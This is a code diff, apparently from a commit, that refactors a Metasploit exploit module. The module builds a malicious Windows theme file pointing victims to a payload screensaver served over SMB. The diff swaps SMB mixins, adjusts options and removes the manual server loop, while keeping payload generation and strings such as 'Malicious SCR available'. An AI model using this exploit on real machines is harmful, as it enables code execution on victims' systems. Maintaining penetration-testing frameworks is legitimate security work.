@@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
1010
1111 include Msf ::Exploit ::FILEFORMAT
1212 include Msf ::Exploit ::EXE
13- include Msf ::Exploit ::Remote ::SMBFileServer
13+ include Msf ::Exploit ::Remote ::SMB :: Server :: Share
1414
1515 def initialize ( info = { } )
1616 super ( update_info ( info ,
@@ -57,34 +57,18 @@ def initialize(info={})
5757 'Privileged' => false ,
5858 'DisclosureDate' => "Sep 10 2013" ,
5959 'DefaultTarget' => 0 ) )
60-
61- register_options (
60+ register_options (
6261 [
63- OptString . new ( 'FILENAME' , [ true , 'The theme file' , 'msf.theme' ] ) ,
64- OptString . new ( 'SHARE' , [ false , 'A static share path (ie. "share")' ] ) ,
65- OptString . new ( 'SCR' , [ false , 'A static SCR name (ie. "exploit.scr")' ] )
62+ OptString . new ( 'FILENAME' , [ true , 'The theme file' , 'msf.theme' ] ) ,
63+ OptString . new ( 'FILE_NAME' , [ false , 'SCR File name to share' , 'msf.scr' ] )
6664 ] , self . class )
65+ deregister_options ( 'FILE_CONTENTS' )
6766 end
6867
6968 def exploit
70- print_status ( "Generating our malicious executable..." )
71- exe = generate_payload_exe
72- my_host = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ]
73-
74- if not datastore [ 'SHARE' ]
75- @scr_file = rand_text_alpha ( 7 ) + ".scr"
76- else
77- @scr_file = datastore [ 'SCR' ]
78- end
79- if not datastore [ 'SHARE' ]
80- @share = rand_text_alpha ( 5 )
81- else
82- @share = datastore [ 'SHARE' ]
83- end
84-
85- @unc = "\\ \\ #{ my_host } \\ #{ @share } \\ #{ @scr_file } "
86-
8769 print_status ( "Creating '#{ datastore [ 'FILENAME' ] } ' file ..." )
70+ self . exe_contents = generate_payload_exe
71+ print_status ( "Malicious SCR available on #{ unc } ..." )
8872 # Default Windows XP / 2003 theme modified
8973 theme = <<-EOF
9074; Copyright (c) Microsoft Corp. 1995-2001
@@ -123,14 +107,6 @@ def exploit
123107MTSM=DABJDKT
124108 EOF
125109 file_create ( theme )
126- print_good ( "Let your victim open #{ datastore [ 'FILENAME' ] } " )
127-
128- print_status ( "Starting SMB Server on: " + @unc )
129- start_smb_server ( @unc , exe , @scr_file )
130- while true
131- break if session_created?
132- sleep ( 1 )
133- end
134110 end
135111
136112end
0 commit comments